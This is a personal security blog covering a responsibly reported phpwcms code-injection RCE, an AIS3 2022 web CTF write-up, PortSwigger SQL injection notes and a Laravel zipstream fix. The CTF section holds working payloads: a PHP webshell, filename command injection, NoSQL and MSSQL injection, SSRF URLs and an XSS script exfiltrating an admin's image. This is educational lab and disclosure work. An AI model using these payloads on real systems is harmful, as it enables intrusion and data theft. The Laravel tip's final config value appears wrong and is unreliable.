此篇由來是今年七月底剛參加完了 AIS3,而今年的 AIS3 在結束的時候需要專題發表,而我的組別是網頁安全,所以就想來做個白箱安全的議題,嘗試在 GitHub 中開源且接受安全漏洞回報的 repo 上挖洞,雖然我個人覺得成果蠻差的 QQ,不過至少還是紀錄一下。

Target

phpwcms 1.9.33 on GitHub

在評估時間跟實力後,我只找了一個知名度較低的 CMS 框架,雖然 GitHub 上的 Star 數不高(撰文時僅 82),但社群及作者似乎都還算活躍,近期也持續在進行更新,還有一個論壇,歷史也十分久遠(似乎超過 20 年),因此應該還是有一定的使用者。

Vulnerabilities

先講結論,最後成功找到一個 RCE 的問題以及另一個 XSS,不過 XSS 在與作者溝通後,他認為那是原本 CMS 所提供的 Feature,且只有後臺使用者可以觸發,因此不算是安全漏洞,所以最後只有回報一個漏洞。

最後與作者溝通完後,我將漏洞回報至 huntr.dev 上(一個有提供 OSS Bounty 的網站,推薦找到漏洞可以去多少賺點零錢,官方很佛,好像是自掏腰包的 🤣),也成功拿了 $6(多吃一餐,賺( •̀ ω •́ )✧),目前 report 已經公開,可以看:
https://huntr.dev/bounties/df8a3f9e-db11-4aa5-bfa9-1af1ee892f15

Details

首先,RCE 的問題只存在 Admin 可以觸發,雖然在自架 Service 時較無問題,但若是託管服務或是開放給其他使用者時,可能會造成嚴重的問題。

第二,phpwcms 的後台有分成完整權限的 Admin 以及一般權限的 User,而我原先想讓 User 利用 XSS + CSRF 去做到 Admin 權限的操作,這樣就可以讓第一點更加嚴重,但在課程結束前還沒找到可以繞過 CSRF 的方式 :(,再加上課程結束後回報給作者也如同上述所述,不算是漏洞,因此這邊只會講解第一個 RCE 的部分。

RCE due to Code injection

在 Control Panel 中,Admin 可以輸入一些網站的設定值,而框架會把這些設定值寫入 .php 的檔案中,而如果我們可以跳脫字串就等於可以執行任意 php 語句,也就是可以在電腦中執行任意指令。

而在過程中,雖然他有做簡單的過濾,但可以很輕易的繞過,再加上其中部分過濾的實作還打錯字,導致過濾失效。

避免 master 之後產生變化,這邊直接節錄重點 code:

1
2
// https://github.com/slackero/phpwcms/blob/master/include/inc_act/act_structure.php#L85
$sql .= "\$indexpage['acat_name'] = '". str_replace("''", "\\'", clean_slweg($_POST["acat_name"], 2000))."';\n";

可以看到上述是想把單引號前加上反斜線,讓惡意使用者無法跳脫字串,進而在字串後接上任意指令,但此處的第一個參數中,誤將 "'" 打成 "''",導致只有連續兩個單引號才會被替換成前有反斜線的單引號,甚至不用任何技巧就可以直接執行。Payload 如下:

1
'; phpinfo(); //
1
2
// https://github.com/slackero/phpwcms/blob/master/include/inc_act/act_structure.php#L109
$sql .= "\$indexpage['acat_class'] = '". str_replace("'", "\\'", $acat_class)."';\n";

而往下看幾行,發現他正確的使用了 "'",但這樣我們還是可以用反斜線繞過,只要在前述的 Payload 前加一個 \,這樣在單引號被替換後,這個反斜線就會去跳脫第二個反斜線,導致單引號還是會讓字串結束,而不是被反斜線跳脫。Payload 如下:

1
\'; phpinfo(); //

最後課程結束後回報給作者,作者超友善,不到半天時間就回應而且修好了,嚇了我一跳🤣

Summary

作為一個開發者,不得不說這種 typo 其實還是很常見的 XDD,而且雖然會寫測試,但這種通常都是測試測不出來的,很需要 reviewer 去抓出來,沒抓出來就會出事,這也是開源的好處ㄅ owob

雖然在 CTF 中,常常會遇到各種類似的跳脫問題,不過這還是我第一次回報 Bounty,又可以同時對 OSS 做貢獻,蠻有趣的經驗,希望以後有空再來挖大一點的專案(?

AIS3 Pre-Exam 2022 Web Write-Up

Introduction

This article is the write-up of 2022 AIS3 pre-exam. AIS3 is a security course held in Taiwan, and pre-exam is something like qualification test. This is my first time participate AIS3. Fortunately I passed the pre-exam, so maybe I will share some note or something after the course end(?).

And I could only solve web question, so that’s it :( Let’s start.

Questions

Poking Bear

Solved 205/292
Interest ★
Difficulty ☆
New-knowledge ☆
Bear ★★★

There are a lot of buttons, so I checked out the href property. It’s like http://chals1.ais3.org:8987/bear/{num}. And SECRET BEAR has no number in the property. Because the numbers seems like no regular intervals, I wrote a script to find out what is the number of secret bear.

1
2
3
4
5
6
7
8
9
10
import requests
import bs4

START_INDEX = 351
END_INDEX = 776

for i in range(START_INDEX, END_INDEX):
print(i)
response = requests.get(f"http://chals1.ais3.org:8987/bear/{i}").text
print(bs4.BeautifulSoup(response).find("h1").text.strip())

And found out the number is 499, but when I enter the url. I got:

So I checked out my cookie.
看一下 cookie,現在是 human,所以改成 bear poker。

Seems I am a human now, so changed it to bear poken.

Works!

Simple File Uploader

Solved 92/292
Interest ★
Difficulty ☆
New-knowledge ☆
p…php ?? (((゚Д゚;))) ★★★

We can upload file to the website, so maybe a webshell question?

It already gave us source code, so let’s check it out first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php

if (isset($_FILES['file'])) {
$file_name = basename($_FILES['file']['name']);
$file_tmp = $_FILES['file']['tmp_name'];
$file_type = $_FILES['file']['type'];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (in_array($file_ext, ['php', 'php2', 'php3', 'php4', 'php5', 'php6', 'phtml', 'pht'])) {
die('p...php ?? (((゚Д゚;)))');
}

$box = md5(session_start() . session_id());
$dir = './uploads/' . $box . '/';
if (!file_exists($dir)) {
mkdir($dir);
}

$is_bad = false;
$file_content = file_get_contents($file_tmp);
$data = strtolower($file_content);

if (strpos($data, 'system') !== false) {
$is_bad = true;
} else if (strpos($data, 'exec') !== false) {
$is_bad = true;
} else if (strpos($data, 'passthru') !== false) {
$is_bad = true;
} else if (strpos($data, 'show_source') !== false) {
$is_bad = true;
} else if (strpos($data, 'proc_open') !== false) {
$is_bad = true;
} else if (strpos($data, 'popen') !== false) {
$is_bad = true;
} else if (strpos($data, 'pcntl_exec') !== false) {
$is_bad = true;
} else if (strpos($data, 'eval') !== false) {
$is_bad = true;
} else if (strpos($data, 'assert') !== false) {
$is_bad = true;
} else if (strpos($data, 'die') !== false) {
$is_bad = true;
} else if (strpos($data, 'shell_exec') !== false) {
$is_bad = true;
} else if (strpos($data, 'create_function') !== false) {
$is_bad = true;
} else if (strpos($data, 'call_user_func') !== false) {
$is_bad = true;
} else if (strpos($data, 'preg_replace') !== false) {
$is_bad = true;
} else if (strpos($data, 'scandir') !== false) {
$is_bad = true;
}


if ($is_bad) {
die('You are bad ヽ(#`Д´)ノ');
}

$new_filename = md5(time()) . '.' . $file_ext;
move_uploaded_file($file_tmp, $dir . $new_filename);
echo '
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css">
<title>Simple File Uploader</title>
</head>

<body>
<div class="container is-vcentered is-centered" style="max-width: 60%; padding-top: 10%;">
<article class="message">
<div class="message-header">
<p>Upload Success!</p>
<button class="delete" aria-label="delete"></button>
</div>
<div class="message-body">
Upload /uploads/' . $box . '/' . $new_filename . '
</div>
</article>
</div>
<body>
</html> ';
} else if (isset($_GET['src'])) {
show_source("index.php");
} else {
echo file_get_contents('home.html');
}

Ok, we can bypass extension blacklist by pHp, and use dynamic function name to bypass second blacklist. Upload a webshell:

1
2
<?php
$_GET['a']($_GET['b']);

And executed it with:
http://chals1.ais3.org:8988/uploads/{MY_WEB_SHELL}.pHp?a=system&b=/rUn_M3_t0_9et_fL4g

The Best Login UI

Solved 32/292
Interest ★★
Difficulty ★
New-knowledge ★★
Be…st.. UI ☆

The question provide the source code, so that’s it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');
const bodyParser = require('body-parser');

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));

const PORT = process.env.PORT || 3000;
const mongo = {
host: process.env.MONGO_HOST || 'localhost',
db: process.env.MONGO_DB || 'loginui',
};

app.get('/', (_, res) => {
res.sendFile(__dirname + '/index.html');
});

app.post('/login', async (req, res) => {
const db = app.get('db');
const { username, password } = req.body;
const user = await db.collection('users').findOne({ username, password });
if (user) {
res.send('Success owo!');
} else {
res.send('Failed qwq');
}
});

const MongoClient = require('mongodb').MongoClient;

MongoClient.connect(mongo.host, (err, client) => {
if (err) throw err;
app.set('db', client.db(mongo.db));
app.listen(PORT, () => console.log(`Listening on port ${PORT}`));
});

Around line 19, it didn’t check input type. So we can input something like {'$regex': myRegex} (regex of mongodb) instead of real password.

Write a script to BF password(that is: flag) with regex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string

flag = "AIS3{"
charset = string.printable
done = False

while not done:
for i in range(len(charset)):
candidate = charset[i]
escape_candidate = candidate
if escape_candidate in "()*$+.?^\{\}[]|":
escape_candidate = "\\" + escape_candidate
print(candidate)

response = requests.post(
"http://chals1.ais3.org:54088/login",
{
"username": "admin",
"password[$regex]": flag + escape_candidate,
},
).text

if response == "Success owo!":
flag += candidate
if candidate == "}":
done = True
break
print(flag)

Just remember to escape some special characters to avoid error.(line 12) And everything is fine👍

TariTari

Solved 26/292
Interest ★★
Difficulty ★☆
New-knowledge ★
Disappointment ★★★ (When I saw a flag but not for me QQ)

Uploaded some file and got a response like:

1
<a href="/download.php?file=ZjY0MGNjOWQ0ZTQwYzAwODliYmIxZjg1OGI2NWEwMmEudGFyLmd6&amp;name=removed.png.tar.gz.tar.gz">Download</a>

Try to change name, but got a error:

Than let’s try another parameter. First decode the file:

1
03c0ec25a3cd7de367da1ff7c5461e8d.tar.gz

So maybe a path traversal here? Encoded ../../../etc/passwd and filled in:

So it works, try to download index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<h1>Tari</h1>
<p>Tari is a service that converts your file into a .tar.gz archive.</p>
<form action="/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<?php
function get_MyFirstCTF_flag()
{
// **MyFirstCTF ONLY FLAG**
// Please IGNORE this flag if you are AIS3 Pre-Exam Player

// Congratulations, you found the flag!
// RCE me to get the second flag, it placed in the / directory :D
echo 'MyFirstCTF FLAG: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}';
}

function tar($file)
{
$filename = $file['name'];
$path = bin2hex(random_bytes(16)) . ".tar.gz";
$source = substr($file['tmp_name'], 1);
$destination = "./files/$path";
passthru("tar czf '$destination' --transform='s|$source|$filename|' --directory='/tmp' '/$source'", $return);
if ($return === 0) {
return [$path, $filename];
}
return [FALSE, FALSE];
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
if ($file === NULL) {
echo "<p>No file was uploaded.</p>";
} elseif ($file['error'] !== 0) {
echo "<p>Error: Upload error.</p>";
} else {
[$path, $filename] = tar($file);
if ($path === FALSE) {
echo "<p>Error: Failed to create archive.</p>";
} else {
$path = base64_encode($path);
$filename = urlencode($filename);
echo "<a href=\"/download.php?file=$path&name=$filename.tar.gz\">Download</a>";
}
}
}

There is a flag, but I am not the participant of MyFirstCTF QQ

So let’s try to abuse command injection next. Upload a file named qwe'; whoami; echo '

Nice!

And I tried to use ls / to find out flag’s filename, but somehow it doesn’t work :( Maybe there’s a WAF or something?

So I bypassed / with ${IFS}:

1
qwe'; ls `echo${IFS}${PATH}|cut${IFS}-c1-1`;echo '

Bypass success! and just print out the flag

Cat Emoji Database

Solved 15/292
Interest ★★☆
Difficulty ★★☆
New-knowledge ★★☆
CATS😻 ★★★★★

It provided source code too:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, redirect, jsonify, send_file
import re

app = Flask(__name__)


@app.before_request
def fix_path():
# trim all the whitespace from path
trimmed = re.sub("\s+", "", request.path)
if trimmed != request.path:
return redirect(trimmed)


@app.route("/")
def index():
return send_file("index.html")


@app.route("/api/all")
def emojis():
cursor = db().cursor()
cursor.execute("SELECT Name FROM Emoji")
return jsonify(cursor.fetchall())


@app.route("/api/emoji/<unicode>")
def api(unicode):
print("SELECT * FROM Emoji WHERE Unicode = %s" % unicode)
row = ""
if row:
return jsonify({"data": row})
else:
return jsonify({"error": "Cat emoji not found"})


@app.route("/source")
def source():
return send_file(__file__, mimetype="text/plain")

So, seems like we need to do SQLi without the space.

Try get all cats:

It told us hint is in the secret_cat emoji.

But we don’t have its id. So SQLi time:
http://chals1.ais3.org:9487/api/emoji/(128006)or(id=3)

FLAG is in other table, so we need to know what kind of db is this to do more.

http://chals1.ais3.org:9487/api/emoji/(12800996)union(SELECT+1,2,1,@@version,null)

Through @@version, we knew it’s SQL Server.

So we can bypass space with %C2%A0 and some parentheses.
This will show table_schema, table_name, and column_name, but only first table because of the fetchone() in source code. And the first table is Emoji. So that’s not table we need.
http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),concat_ws(0x3a,table_schema,table_name,column_name),(‘’),(‘’),(‘1’)%C2%A0from.information_schema.columns)

So let’s skip Emoji table by WHERE.
http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),concat_ws(0x3a,table_schema,table_name,column_name),(‘’),(‘’),(‘1’)%C2%A0from.information_schema.”columns”where”table_name”!=’Emoji’)

Found a table and column seems has flag, so let’s select it.
http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),(m1ght_be_th3_f14g),(‘’),(‘’),(‘1’)%C2%A0from.s3cr3t_fl4g_in_th1s_t4bl3)

Got the flag successfully!

Private Browsing

Solved 4/292
Interest ★★☆
Difficulty ★★★
New-knowledge ★★★
What-a-pity ★★★

Looks like SSRF, so let’s try read source code.

http://chals1.ais3.org:8763/api.php?action=view&url=file:///var/www/html/api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

<?php
require_once 'session.php';
class BrowsingSession
{
function __construct()
{
$this->history = [];
}
function push($url)
{
$this->history[] = $url;
}
function get_history()
{
return $this->history;
}
function clear_history()
{
$this->history = [];
}
static function new()
{
return new BrowsingSession();
}
}
$session = SessionManager::load_from_cookie('sess_id', ['BrowsingSession', 'new']);
if (!isset($_GET['action'])) {
die();
}
$action = $_GET['action'];
if ($action === 'view' && isset($_GET['url'])) {
header("Content-Security-Policy: script-src 'none'");
$url = $_GET['url'];
$session->push($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
curl_close($ch);
} else if ($action === 'get_history') {
header('Content-Type: application/json');
echo json_encode($session->get_history());
} else if ($action === 'clear_history') {
$session->clear_history();
echo 'OK';
}

and session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

<?php
$redis = new Redis();
$redis->connect('redis', 6379);
class SessionManager
{
function __construct($redis, $sessid, $fallback, $encode = 'serialize', $decode = 'unserialize')
{
$this->redis = $redis;
$this->sessid = $sessid;
$this->encode = $encode;
$this->decode = $decode;
$this->fallback = $fallback;
$this->val = null;
}

function get()
{
if ($this->val !== null) {
return $this->val;
}
if ($this->redis->exists($this->sessid)) {
$this->val = ($this->decode)($this->redis->get($this->sessid));
} else {
$this->val = ($this->fallback)();
}
return $this->val;
}

function __destruct()
{
global $redis;
if ($this->val !== null) {
$redis->set($this->sessid, ($this->encode)($this->val));
}
}

function __call($name, $arguments)
{
return $this->get()->{$name}(...$arguments);
}

static function load_from_cookie($name, $fallback)
{
global $redis;
if (isset($_COOKIE[$name])) {
$sessid = $_COOKIE[$name];
} else {
$sessid = bin2hex(random_bytes(10));
setcookie($name, $sessid);
}
return new SessionManager($redis, $sessid, $fallback);
}
}

We found redis service in session.php line 2, so try get some info with dict.

http://chals1.ais3.org:8763/api.php?action=view&url=dict://redis:6379/info

1
2
3
4
5
6
7
8
9
10
11
12
-ERR unknown subcommand 'libcurl'. Try CLIENT HELP.
$4860
# Server
redis_version:7.0.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:e7d3349b21c83e26
redis_mode:standalone
.
.
.
// not gonna show all because too long :(

But when I tried to write file with redis, I found out some common commands were blocked.

Seems we need to change redis’s data by SSRF to control input of session.php and exploiting unserialization vulnerabilities? but no time QQ

↑ This is my guess at the second day ended, but I have to work in the 3rd day of exam. So unfortunately I’m not able to solve all web question, maybe someday😥

There is the write-up from the qeustion setter, seems really close to my assumption.

Solved 4/292
Interest ★★★
Difficulty ★★★☆
New-knowledge ★★★
What-a-pity ★★★

Some source code from question:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from flask import Flask, render_template, request, redirect, url_for, g, session, send_file
import sqlite3
import secrets
import os
import uuid
import mimetypes
import pathlib

from rq import Queue
from redis import Redis

app = Flask(__name__)
app.queue = Queue(connection=Redis('xss-bot'))
app.config.update({
'SECRET_KEY': secrets.token_bytes(16),
'UPLOAD_FOLDER': '/data/uploads',
'MAX_CONTENT_LENGTH': 32 * 1024 * 1024, # 32MB
})

IMAGE_EXTENSIONS = [ext for ext, type in mimetypes.types_map.items()
if type.startswith('image/')]

ADMIN_PASSWORD = os.getenv('ADMIN_PASSWORD', 'admin')
FLAG_UUID = os.getenv('FLAG_UUID', str(uuid.uuid4()))


def db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('/tmp/db.sqlite3')
db.row_factory = sqlite3.Row
return db


@app.before_first_request
def create_tables():
cursor = db().cursor()
cursor.executescript("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);
CREATE TABLE IF NOT EXISTS images (
id INTEGER PRIMARY KEY AUTOINCREMENT,
uuid TEXT,
title TEXT,
filename TEXT,
user_id INTEGER,
FOREIGN KEY(user_id) REFERENCES users(id)
);
""")
cursor.execute("SELECT * FROM users WHERE username='admin'")
if cursor.fetchone() == None:
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)",
('admin', ADMIN_PASSWORD))
admin_id = cursor.lastrowid
cursor.execute("INSERT INTO images (user_id, uuid, filename, title) VALUES (?, ?, ?, ?)",
(admin_id, FLAG_UUID, FLAG_UUID+".png", "FLAG"))

db().commit()


@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()


@app.after_request
def add_csp(response):
response.headers['Content-Security-Policy'] = ';'.join([
"default-src 'self'",
"font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com"
])
return response


@app.route('/')
def index():
if 'user_id' not in session:
return redirect(url_for('login'))
cursor = db().cursor()
cursor.execute("SELECT * FROM images WHERE user_id=?",
(session['user_id'],))
images = cursor.fetchall()
return render_template('index.html', images=images)


@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
username = request.form['username']
password = request.form['password']
if len(username) < 5 or len(password) < 5:
return render_template('login.html', error="Username and password must be at least 5 characters long.")
cursor = db().cursor()
cursor.execute("SELECT * FROM users WHERE username=?", (username,))
user = cursor.fetchone()
if user is None:
user_id = cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)",
(username, password)).lastrowid
session['user_id'] = user_id
db().commit()
return redirect(url_for('index'))
elif user['password'] == password:
session['user_id'] = user['id']
return redirect(url_for('index'))
else:
return render_template('login.html', error="Invalid username or password")


@app.route('/image/<uuid>')
def view(uuid):
cursor = db().cursor()
cursor.execute("SELECT * FROM images WHERE uuid=?", (uuid,))
image = cursor.fetchone()
if image:
if image['user_id'] != session['user_id'] and session['user_id'] != 1:
return "You don't have permission to view this image.", 403
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], image['filename']))
else:
return "Image not found.", 404


@app.route('/image/<uuid>/download')
def download(uuid):
cursor = db().cursor()
cursor.execute("SELECT * FROM images WHERE uuid=?", (uuid,))
image = cursor.fetchone()
if image:
if image['user_id'] != session['user_id'] and session['user_id'] != 1:
return "You don't have permission to download this image.", 403
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], image['filename']), as_attachment=True, mimetype='application/octet-stream')
else:
return "Image not found.", 404


@app.route('/upload', methods=['GET', 'POST'])
def upload():
if 'user_id' not in session:
return redirect(url_for('login'))
if request.method == 'GET':
return render_template('upload.html')
else:
title = request.form['title'] or '(No title)'
file = request.files['file']
if file.filename == '':
return render_template('upload.html', error="No file selected")

extension = pathlib.Path(file.filename).suffix
if extension not in IMAGE_EXTENSIONS:
return render_template('upload.html', error="File must be an image")

image_uuid = str(uuid.uuid4())
filename = image_uuid + extension
cursor = db().cursor()
cursor.execute("INSERT INTO images (user_id, uuid, title, filename) VALUES (?, ?, ?, ?)",
(session['user_id'], image_uuid, title, filename))
db().commit()
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return redirect(url_for('index'))


@app.route('/report', methods=['GET', 'POST'])
def report():
if 'user_id' not in session:
return redirect(url_for('login'))

if request.method == 'GET':
return f'''
<h1>Report to admin</h1>
<p>注意:admin 會用 <code>http://web/</code> (而非 {request.url_root} 作為 base URL 來訪問你提交的網站。</p>
<form action="/report" method="POST">
<input type="text" name="url" placeholder="URL ({request.url_root}...)">
<input type="submit" value="Submit">
</form>
'''
else:
url = request.form['url']
if url.startswith(request.url_root):
url_path = url[len(request.url_root):]
app.queue.enqueue('xssbot.browse', url_path)
return 'Reported.'
else:
return f"[ERROR] Admin 只看 {request.url_root} 網址"

We can bypass IMAGE_EXTENSIONS white list and xss by uploaded a .svg file.

After we can execute javascript code, we can get flag through above steps:

  1. Upload a malicious image(which can execute js code)
  2. Send 1.‘s link to admin
  3. Admin opens link, the code will do:
    1. Get uuid of image of flag
    2. Get image of flag as Blob
    3. Login another account
    4. Upload image of flag with 3.‘s account
  4. Login account that already has flag image

So, let’s start:

First, upload a gif with:(there are some magic header of GIF)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GIF89a/* # some GIF magic information, but cannot be shown here
fetch('/').then((r)=>r.text()).then((r)=>r.match('[a-z0-9\-]{36}')[0]).then((r)=>fetch('/image/'+r+'/download').then((r)=>r.blob()).then(function(r){
fetch('/login', {
method: 'POST',
hearders: {
'Content-Type': 'application/x-ww-form-urlencoded'
},
body: new URLSearchParams({
'username': 'asdasd',
'password': 'asdasd',
})
}).then(function(_){
let formData = new FormData();
formData.append('title', 'admin');
formData.append('file',new Blob([r], {type: 'image/jpeg'}), 'flag.jpg');
fetch('/upload', {
method: 'POST',
body: formData
})
})
}));

And upload a svg with(replace {PREV_GIF_UUID} with first GIF‘s uuid):

1
2
3
4
5
6
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400" />
<script href="/image/{PREV_GIF_UUID}/download"></script>
</svg>

to bypass CSP which is default-src 'self', because we include script from self :)

And send this svg’s view link to admin, then we can get image that admin uploaded to our account by heself!

Summary

This time is my first time to participated a ctf seriously XD. But I need to work so I only participated 2 days(of 3 days), but at least I studied almost all web questions. Although it’s really tired but I actually learned a lot from those questions. Like MSSQL injection, MongoDB regex, Redis RCE(although not success, but I knew there is a way now XD) It also makes me super excited about AIS3😍!

References

Port Swigger Web Security Academy Sql Injection 2 - UNION Attacks

Introduction

This article is the sequel of Port Swigger Web Security Academy, you can find previous article here.

And this time we will take a deep look about UNION attacks, let’s start.

When we could get responses of query, UNION can be used to retrieve more data from other tables. For example:

1
SELECT a, b FROM table1 UNION SELECT c, d FROM table2

And there are two requirements must be met:

  1. Two query must return the same number of columns.
  2. Two query must have compatible data types in each column.

Determining the number of columns

There are two methods to reach it:

  1. ORDER BY
  2. UNION SELECT NULL

ORDER BY

Because we can put column name or column order after ORDER BY, so we can try below SQL:

1
' ORDER BY 1--

If there is no error, we know the column number of the first query is at least 1. And we can try:

1
' ORDER BY 2--

Until we get some error such as:

1
The ORDER BY position number 3 is out of range of the number of items in the select list.

Than we know the number of first query is 2.

UNION SELECT NULL

Because we can directly SELECT value by UNION, we can try:

1
' UNION SELECT NULL--

But why NULL? Because we mentioned that Two query must have compatible data types in each column. before, and NULL is compatible with any type of data.

And if your number of NULL is not same with the first query’s column number, you will probably get some error like:

1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

So keep trying until there is no error!

Determining the type of columns

After we get the number, we can continue to determine the type of columns. Thus, we can use those columns to hold our interested data. For example:

1
' UNION SELECT 'a',NULL,NULL --

If you get error like:

1
Conversion failed when converting the varchar value 'a' to data type int.

Switch position of string to find out which column is string type. Or you can use integer or other type to instead it.

Retrieving multiple values

We can concatenate the values together to show multiple values in one column, for example in Oracle:

1
' UNION SELECT username || '~' || password FROM users--

References

Laravel Zipstream Filename Sanitization

Introduction

When I develop one of my cases, there is a requirement to generate a zip file. So I find a package laravel-zipstream to do it.

Problem

Everything is fine until my customer told me files should be placed in a specific path which contains chinese characters. (´;ω;`)

At begining, I just change the filename like:

1
2
$zip = Zip::create('user_data.zip');
$zip->add($content, "中文資料夾1/測試資料.pdf");

But when I download this zip, I get something like:

Where is my filename and folder name :(

Identify Problem

At begining, I thought it’s some encoding problem. But I tried to change encoding and still got the same result.

So I went to looked up the source code, and found:

https://github.com/stechstudio/laravel-zipstream/blob/master/src/Models/File.php

1
2
3
4
5
6
7
8
public function getZipPath(): string
{
$path = ltrim(preg_replace('|/{2,}|', '/', $this->zipPath), '/');

return config('zipstream.file.sanitize')
? Str::ascii($path)
: $path;
}

When config('zipstream.file.sanitize') is true, it will try to translate filename to ascii by Laravel’s Helper function Str::ascii()(more information in official doc.).

Solve

So I looked up the package’s config.php

1
2
3
4
5
6
7
8
// Default options for files added
'file' => [
'method' => env('ZIPSTREAM_FILE_METHOD', 'store'),

'deflate' => env('ZIPSTREAM_FILE_DEFLATE'),

'sanitize' => env('ZIPSTREAM_FILE_SANITIZE', true)
],

Thus, we can just add below line in our .env to use non-ascii characters in filename!

1
ZIPSTREAM_FILE_SANITIZE=true

Additional information

Because I don’t see any description in README about this feature, so I also open a PR in GitHub to add some description about it.

If you’re interested in it, you can find it here.

Reference

Port Swigger Web Security Academy Sql Injection

Introduction

This article is the note of PortSwigger Web Security Academy’s SQL Injection. I will take note of it and write some my opinion.

Examples

  • Retrieving hidden data
  • Subverting application logic
  • UNION attack: retrieve data from other databases or tables.
  • Examining the database
  • Blind SQL injection

Retrieving hidden data

For example, there is a URL:

1
https://insecure-website.com/products?category=Gifts

and SQL like:

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Thus, it can be injected by:

1
https://insecure-website.com/products?category=' OR 1=1 --

This will results in the SQL query, and show every products:

1
SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1

Subverting application logic

It can bypass login or other business logic too.

In case of SQL query like:

1
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

We can login as administrator by input username administrator' -- and left password blank, results in the SQL query:

1
SELECT * FROM users WHERE username = 'administrator' --' AND password = ''

UNION attack

We can use UNION to get other table’s data, for example:

1
SELECT name, description FROM products WHERE category = '{input}'

and we input:

1
' UNION SELECT username, password FROM users --

result in query:

1
SELECT name, description FROM products WHERE category = '' UNION SELECT username, password FROM users --'

Then, we can get username and password from other table.

Examining the database

To explot the database, we need to identify which database is it.

Because every database have unique syntax, function, or variable…(there are some examples below), we can use some cheat table to determine it.

database-specific factors

  • Syntax for string concatenation
  • Comments
  • Batched or stacked queries
  • Platform-specific APIs
  • Error messages

After we know what kind of database is it, we can grab some informations about databases, tables, and columns.

For example, most database(MSSQL, MySQL, PostgreSQL…) have a database which store there information we need:

1
SELECT * FROM information_schema.tables

Blind SQL injection

When we can see the result of SQL query, we can use UNION to get the informations we need.

But if the application does not return any results, we can still exploit it by following methods:

  • Conditionally change the logic of the query to trigger a detectable difference. For example, trigger an error such as a divide-by-zero.
  • Conditionally make a time delay.
  • Trigger an out-of-band interaction sush as placing the data into a DNS lookup for a domain we control.

How to detect vulnerabilities

To every entry point in the application, we can try:

  • Submitting ' and looking for error or other abnormal response.
  • Submitting some SQL-specific syntax or conditions such as OR 1=1 to change result of the query, and looking for differences in responses.
  • For those cannot see response, submitting payload to trigger time delays and looking for differences in the time taken to respond.

Second-order SQL Injection

First, we need to talk about First-order SQL injection.

First-order means the application takes user’s input and use it to excute an SQL query.

